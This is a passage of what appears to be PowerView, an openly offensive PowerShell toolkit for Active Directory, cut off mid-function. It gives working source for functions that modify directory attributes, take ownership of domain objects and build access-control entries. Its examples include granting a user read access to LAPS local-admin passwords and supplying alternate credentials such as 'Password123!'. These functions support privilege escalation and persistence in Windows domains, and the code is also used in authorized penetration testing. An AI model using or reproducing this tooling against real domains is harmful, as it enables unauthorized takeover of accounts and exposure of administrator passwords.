7298 $Identity,
7299
7300 [ValidateNotNullOrEmpty()]
7301 [Alias('Replace')]
7302 [Hashtable]
7303 $Set,
7304
7305 [ValidateNotNullOrEmpty()]
7306 [Hashtable]
7307 $XOR,
7308
7309 [ValidateNotNullOrEmpty()]
7310 [String[]]
7311 $Clear,
7312
7313 [ValidateNotNullOrEmpty()]
7314 [String]
7315 $Domain,
7316
7317 [ValidateNotNullOrEmpty()]
7318 [Alias('Filter')]
7319 [String]
7320 $LDAPFilter,
7321
7322 [ValidateNotNullOrEmpty()]
7323 [Alias('ADSPath')]
7324 [String]
7325 $SearchBase,
7326
7327 [ValidateNotNullOrEmpty()]
7328 [Alias('DomainController')]
7329 [String]
7330 $Server,
7331
7332 [ValidateSet('Base', 'OneLevel', 'Subtree')]
7333 [String]
7334 $SearchScope = 'Subtree',
7335
7336 [ValidateRange(1, 10000)]
7337 [Int]
7338 $ResultPageSize = 200,
7339
7340 [ValidateRange(1, 10000)]
7341 [Int]
7342 $ServerTimeLimit,
7343
7344 [Switch]
7345 $Tombstone,
7346
7347 [Management.Automation.PSCredential]
7348 [Management.Automation.CredentialAttribute()]
7349 $Credential = [Management.Automation.PSCredential]::Empty
7350 )
7351
7352 BEGIN {
7353 $SearcherArguments = @{'Raw' = $True}
7354 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
7355 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
7356 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
7357 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
7358 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
7359 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
7360 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
7361 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
7362 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
7363 }
7364
7365 PROCESS {
7366 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
7367
7368 # splat the appropriate arguments to Get-DomainObject
7369 $RawObject = Get-DomainObject @SearcherArguments
7370
7371 ForEach ($Object in $RawObject) {
7372
7373 $Entry = $RawObject.GetDirectoryEntry()
7374
7375 if($PSBoundParameters['Set']) {
7376 try {
7377 $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
7378 Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
7379 $Entry.put($_.Name, $_.Value)
7380 }
7381 $Entry.commitchanges()
7382 }
7383 catch {
7384 Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
7385 }
7386 }
7387 if($PSBoundParameters['XOR']) {
7388 try {
7389 $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
7390 $PropertyName = $_.Name
7391 $PropertyXorValue = $_.Value
7392 Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
7393 $TypeName = $Entry.$PropertyName[0].GetType().name
7394
7395 # UAC value references- https://support.microsoft.com/en-us/kb/305144
7396 $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
7397 $Entry.$PropertyName = $PropertyValue -as $TypeName
7398 }
7399 $Entry.commitchanges()
7400 }
7401 catch {
7402 Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
7403 }
7404 }
7405 if($PSBoundParameters['Clear']) {
7406 try {
7407 $PSBoundParameters['Clear'] | ForEach-Object {
7408 $PropertyName = $_
7409 Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
7410 $Entry.$PropertyName.clear()
7411 }
7412 $Entry.commitchanges()
7413 }
7414 catch {
7415 Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
7416 }
7417 }
7418 }
7419 }
7420}
7421
7422
7423function ConvertFrom-LDAPLogonHours {
7424<#
7425.SYNOPSIS
7426
7427Converts the LDAP LogonHours array to a processible object.
7428
7429Author: Lee Christensen (@tifkin_)
7430License: BSD 3-Clause
7431Required Dependencies: None
7432
7433.DESCRIPTION
7434
7435Converts the LDAP LogonHours array to a processible object. Each entry
7436property in the output object corresponds to a day of the week and hour during
7437the day (in UTC) indicating whether or not the user can logon at the specified
7438hour.
7439
7440.PARAMETER LogonHoursArray
7441
744221-byte LDAP hours array.
7443
7444.EXAMPLE
7445
7446$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
7447ConvertFrom-LDAPLogonHours $hours
7448
7449Gets the logonhours array from the first AD user with logon restrictions.
7450
7451.OUTPUTS
7452
7453PowerView.LogonHours
7454#>
7455
7456 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
7457 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
7458 [OutputType('PowerView.LogonHours')]
7459 [CmdletBinding()]
7460 Param (
7461 [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7462 [ValidateNotNullOrEmpty()]
7463 [byte[]]
7464 $LogonHoursArray
7465 )
7466
7467 Begin {
7468 if($LogonHoursArray.Count -ne 21) {
7469 throw "LogonHoursArray is the incorrect length"
7470 }
7471
7472 function ConvertTo-LogonHoursArray {
7473 Param (
7474 [int[]]
7475 $HoursArr
7476 )
7477
7478 $LogonHours = New-Object bool[] 24
7479 for($i=0; $i -lt 3; $i++) {
7480 $Byte = $HoursArr[$i]
7481 $Offset = $i * 8
7482 $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
7483
7484 $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
7485 $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
7486 $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
7487 $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
7488 $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
7489 $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
7490 $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
7491 $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
7492 }
7493
7494 $LogonHours
7495 }
7496 }
7497
7498 Process {
7499 $Output = @{
7500 Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
7501 Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
7502 Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
7503 Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
7504 Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
7505 Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
7506 Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
7507 }
7508
7509 $Output = New-Object PSObject -Property $Output
7510 $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
7511 $Output
7512 }
7513}
7514
7515
7516function New-ADObjectAccessControlEntry {
7517<#
7518.SYNOPSIS
7519
7520Creates a new Active Directory object-specific access control entry.
7521
7522Author: Lee Christensen (@tifkin_)
7523License: BSD 3-Clause
7524Required Dependencies: None
7525
7526.DESCRIPTION
7527
7528Creates a new object-specific access control entry (ACE). The ACE could be
7529used for auditing access to an object or controlling access to objects.
7530
7531.PARAMETER PrincipalIdentity
7532
7533A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
7534SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
7535for the domain principal to add for the ACL. Required. Wildcards accepted.
7536
7537.PARAMETER PrincipalDomain
7538
7539Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
7540
7541.PARAMETER PrincipalSearchBase
7542
7543The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
7544Useful for OU queries.
7545
7546.PARAMETER Server
7547
7548Specifies an Active Directory server (domain controller) to bind to.
7549
7550.PARAMETER SearchScope
7551
7552Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
7553
7554.PARAMETER ResultPageSize
7555
7556Specifies the PageSize to set for the LDAP searcher object.
7557
7558.PARAMETER ServerTimeLimit
7559
7560Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
7561
7562.PARAMETER Tombstone
7563
7564Switch. Specifies that the searcher should also return deleted/tombstoned objects.
7565
7566.PARAMETER Credential
7567
7568A [Management.Automation.PSCredential] object of alternate credentials
7569for connection to the target domain.
7570
7571.PARAMETER Right
7572
7573Specifies the rights set on the Active Directory object.
7574
7575.PARAMETER AccessControlType
7576
7577Specifies the type of ACE (allow or deny)
7578
7579.PARAMETER AuditFlag
7580
7581For audit ACEs, specifies when to create an audit log (on success or failure)
7582
7583.PARAMETER ObjectType
7584
7585Specifies the GUID of the object that the ACE applies to.
7586
7587.PARAMETER InheritanceType
7588
7589Specifies how the ACE applies to the object and/or its children.
7590
7591.PARAMETER InheritedObjectType
7592
7593Specifies the type of object that can inherit the ACE.
7594
7595.EXAMPLE
7596
7597$Guids = Get-DomainGUIDMap
7598$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
7599$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
7600$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
7601$OU = Get-DomainOU -Raw Workstations
7602$DsEntry = $OU.GetDirectoryEntry()
7603$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
7604$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
7605$dsEntry.PsBase.CommitChanges()
7606
7607Adds an ACE to all computer objects in the OU "Workstations" permitting the
7608user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.
7609
7610.OUTPUTS
7611
7612System.Security.AccessControl.AuthorizationRule
7613#>
7614
7615 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
7616 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
7617 [OutputType('System.Security.AccessControl.AuthorizationRule')]
7618 [CmdletBinding()]
7619 Param (
7620 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)]
7621 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
7622 [String]
7623 $PrincipalIdentity,
7624
7625 [ValidateNotNullOrEmpty()]
7626 [String]
7627 $PrincipalDomain,
7628
7629 [ValidateNotNullOrEmpty()]
7630 [Alias('DomainController')]
7631 [String]
7632 $Server,
7633
7634 [ValidateSet('Base', 'OneLevel', 'Subtree')]
7635 [String]
7636 $SearchScope = 'Subtree',
7637
7638 [ValidateRange(1, 10000)]
7639 [Int]
7640 $ResultPageSize = 200,
7641
7642 [ValidateRange(1, 10000)]
7643 [Int]
7644 $ServerTimeLimit,
7645
7646 [Switch]
7647 $Tombstone,
7648
7649 [Management.Automation.PSCredential]
7650 [Management.Automation.CredentialAttribute()]
7651 $Credential = [Management.Automation.PSCredential]::Empty,
7652
7653 [Parameter(Mandatory = $True)]
7654 [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')]
7655 $Right,
7656
7657 [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
7658 [ValidateSet('Allow', 'Deny')]
7659 [String[]]
7660 $AccessControlType,
7661
7662 [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]
7663 [ValidateSet('Success', 'Failure')]
7664 [String]
7665 $AuditFlag,
7666
7667 [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]
7668 [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]
7669 [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]
7670 [Guid]
7671 $ObjectType,
7672
7673 [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')]
7674 [String]
7675 $InheritanceType,
7676
7677 [Guid]
7678 $InheritedObjectType
7679 )
7680
7681 Begin {
7682 $PrincipalSearcherArguments = @{
7683 'Identity' = $PrincipalIdentity
7684 'Properties' = 'distinguishedname,objectsid'
7685 }
7686 if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
7687 if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
7688 if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
7689 if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
7690 if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
7691 if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
7692 if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
7693 $Principal = Get-DomainObject @PrincipalSearcherArguments
7694 if (-not $Principal) {
7695 throw "Unable to resolve principal: $PrincipalIdentity"
7696 } elseif($Principal.Count -gt 1) {
7697 throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"
7698 }
7699
7700 $ADRight = 0
7701 foreach($r in $Right) {
7702 $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__)
7703 }
7704 $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight
7705
7706 $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$Principal.objectsid)
7707 }
7708
7709 Process {
7710 if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {
7711
7712 if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
7713 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag
7714 } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
7715 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
7716 } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
7717 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
7718 } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
7719 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType
7720 } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
7721 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType
7722 } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
7723 New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType
7724 }
7725
7726 }
7727 else {
7728
7729 if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
7730 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType
7731 } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
7732 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
7733 } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
7734 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
7735 } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
7736 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType
7737 } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
7738 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType
7739 } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
7740 New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType
7741 }
7742
7743 }
7744 }
7745}
7746
7747
7748function Set-DomainObjectOwner {
7749<#
7750.SYNOPSIS
7751
7752Modifies the owner for a specified active directory object.
7753
7754Author: Will Schroeder (@harmj0y)
7755License: BSD 3-Clause
7756Required Dependencies: Get-DomainObject
7757
7758.DESCRIPTION
7759
7760Retrieves the Active Directory object specified by -Identity by splatting to
7761Get-DomainObject, returning the raw searchresult object. Retrieves the raw
7762directoryentry for the object, and sets the object owner to -OwnerIdentity.
7763
7764.PARAMETER Identity
7765
7766A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
7767SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
7768of the AD object to set the owner for.
7769
7770.PARAMETER OwnerIdentity
7771
7772A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
7773SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
7774of the owner to set for -Identity.
7775
7776.PARAMETER Domain
7777
7778Specifies the domain to use for the query, defaults to the current domain.
7779
7780.PARAMETER LDAPFilter
7781
7782Specifies an LDAP query string that is used to filter Active Directory objects.
7783
7784.PARAMETER SearchBase
7785
7786The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
7787Useful for OU queries.
7788
7789.PARAMETER Server
7790
7791Specifies an Active Directory server (domain controller) to bind to.
7792
7793.PARAMETER SearchScope
7794
7795Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
7796
7797.PARAMETER ResultPageSize
7798
7799Specifies the PageSize to set for the LDAP searcher object.
7800
7801.PARAMETER ServerTimeLimit
7802
7803Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
7804
7805.PARAMETER Tombstone
7806
7807Switch. Specifies that the searcher should also return deleted/tombstoned objects.
7808
7809.PARAMETER Credential
7810
7811A [Management.Automation.PSCredential] object of alternate credentials
7812for connection to the target domain.
7813
7814.EXAMPLE
7815
7816Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
7817
7818Set the owner of 'dfm' in the current domain to 'harmj0y'.
7819
7820.EXAMPLE
7821
7822$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
7823$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
7824Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred
7825
7826Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials.
7827#>
7828
7829 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
7830 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
7831 [CmdletBinding()]
7832 Param(
7833 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7834 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
7835 [String]
7836 $Identity,
7837
7838 [Parameter(Mandatory = $True)]
7839 [ValidateNotNullOrEmpty()]
7840 [Alias('Owner')]
7841 [String]
7842 $OwnerIdentity,
7843
7844 [ValidateNotNullOrEmpty()]
7845 [String]
7846 $Domain,
7847
7848 [ValidateNotNullOrEmpty()]
7849 [Alias('Filter')]
7850 [String]
7851 $LDAPFilter,
7852
7853 [ValidateNotNullOrEmpty()]
7854 [Alias('ADSPath')]
7855 [String]
7856 $SearchBase,
7857
7858 [ValidateNotNullOrEmpty()]
7859 [Alias('DomainController')]
7860 [String]
7861 $Server,
7862
7863 [ValidateSet('Base', 'OneLevel', 'Subtree')]
7864 [String]
7865 $SearchScope = 'Subtree',
7866
7867 [ValidateRange(1, 10000)]
7868 [Int]
7869 $ResultPageSize = 200,
7870
7871 [ValidateRange(1, 10000)]
7872 [Int]
7873 $ServerTimeLimit,
7874
7875 [Switch]
7876 $Tombstone,
7877
7878 [Management.Automation.PSCredential]
7879 [Management.Automation.CredentialAttribute()]
7880 $Credential = [Management.Automation.PSCredential]::Empty
7881 )
7882
7883 BEGIN {
7884 $SearcherArguments = @{}
7885 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
7886 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
7887 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
7888 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
7889 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
7890 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
7891 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
7892 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
7893 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
7894
7895 $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid
7896 if ($OwnerSid) {
7897 $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid
7898 }
7899 else {
7900 Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'"
7901 }
7902 }
7903
7904 PROCESS {
7905 if ($OwnerIdentityReference) {
7906 $SearcherArguments['Raw'] = $True
7907 $SearcherArguments['Identity'] = $Identity
7908
7909 # splat the appropriate arguments to Get-DomainObject
7910 $RawObject = Get-DomainObject @SearcherArguments
7911
7912 ForEach ($Object in $RawObject) {
7913 try {
7914 Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'"
7915 $Entry = $RawObject.GetDirectoryEntry()
7916 $Entry.PsBase.Options.SecurityMasks = 'Owner'
7917 $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference)
7918 $Entry.PsBase.CommitChanges()
7919 }
7920 catch {
7921 Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"
7922 }
7923 }
7924 }
7925 }
7926}
7927
7928
7929function Get-DomainObjectAcl {
7930<#
7931.SYNOPSIS
7932
7933Returns the ACLs associated with a specific active directory object. By default
7934the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
7935
7936Author: Will Schroeder (@harmj0y)
7937License: BSD 3-Clause
7938Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap
7939
7940.PARAMETER Identity
7941
7942A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
7943SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
7944Wildcards accepted.
7945
7946.PARAMETER Sacl
7947
7948Switch. Return the SACL instead of the DACL for the object (default behavior).
7949
7950.PARAMETER ResolveGUIDs
7951
7952Switch. Resolve GUIDs to their display names.
7953
7954.PARAMETER RightsFilter
7955
7956A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers').
7957
7958.PARAMETER Domain
7959
7960Specifies the domain to use for the query, defaults to the current domain.
7961
7962.PARAMETER LDAPFilter
7963
7964Specifies an LDAP query string that is used to filter Active Directory objects.
7965
7966.PARAMETER SearchBase
7967
7968The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
7969Useful for OU queries.
7970
7971.PARAMETER Server
7972
7973Specifies an Active Directory server (domain controller) to bind to.
7974
7975.PARAMETER SearchScope
7976
7977Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
7978
7979.PARAMETER ResultPageSize
7980
7981Specifies the PageSize to set for the LDAP searcher object.
7982
7983.PARAMETER ServerTimeLimit
7984
7985Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
7986
7987.PARAMETER Tombstone
7988
7989Switch. Specifies that the searcher should also return deleted/tombstoned objects.
7990
7991.PARAMETER Credential
7992
7993A [Management.Automation.PSCredential] object of alternate credentials
7994for connection to the target domain.
7995
7996.EXAMPLE
7997
7998Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs
7999
8000Get the ACLs for the matt.admin user in the testlab.local domain and
8001resolve relevant GUIDs to their display names.
8002
8003.EXAMPLE
8004
8005Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
8006
8007Enumerate the ACL permissions for all OUs in the domain.
8008
8009.EXAMPLE
8010
8011Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl
8012
8013Enumerate the SACLs for all OUs in the domain, resolving GUIDs.
8014
8015.EXAMPLE
8016
8017$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
8018$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
8019Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs
8020
8021.OUTPUTS
8022
8023PowerView.ACL
8024
8025Custom PSObject with ACL entries.
8026#>
8027
8028 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
8029 [OutputType('PowerView.ACL')]
8030 [CmdletBinding()]
8031 Param (
8032 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
8033 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
8034 [String[]]
8035 $Identity,
8036
8037 [Switch]
8038 $Sacl,
8039
8040 [Switch]
8041 $ResolveGUIDs,
8042
8043 [String]
8044 [Alias('Rights')]
8045 [ValidateSet('All', 'ResetPassword', 'WriteMembers')]
8046 $RightsFilter,
8047
8048 [ValidateNotNullOrEmpty()]
8049 [String]
8050 $Domain,
8051
8052 [ValidateNotNullOrEmpty()]
8053 [Alias('Filter')]
8054 [String]
8055 $LDAPFilter,
8056
8057 [ValidateNotNullOrEmpty()]
8058 [Alias('ADSPath')]
8059 [String]
8060 $SearchBase,
8061
8062 [ValidateNotNullOrEmpty()]
8063 [Alias('DomainController')]
8064 [String]
8065 $Server,
8066
8067 [ValidateSet('Base', 'OneLevel', 'Subtree')]
8068 [String]
8069 $SearchScope = 'Subtree',
8070
8071 [ValidateRange(1, 10000)]
8072 [Int]
8073 $ResultPageSize = 200,
8074
8075 [ValidateRange(1, 10000)]
8076 [Int]
8077 $ServerTimeLimit,
8078
8079 [Switch]
8080 $Tombstone,
8081
8082 [Management.Automation.PSCredential]
8083 [Management.Automation.CredentialAttribute()]
8084 $Credential = [Management.Automation.PSCredential]::Empty
8085 )
8086
8087 BEGIN {
8088 $SearcherArguments = @{
8089 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
8090 }
8091
8092 if ($PSBoundParameters['Sacl']) {
8093 $SearcherArguments['SecurityMasks'] = 'Sacl'
8094 }
8095 else {
8096 $SearcherArguments['SecurityMasks'] = 'Dacl'
8097 }
8098 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
8099 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
8100 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
8101 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
8102 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
8103 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
8104 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
8105 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
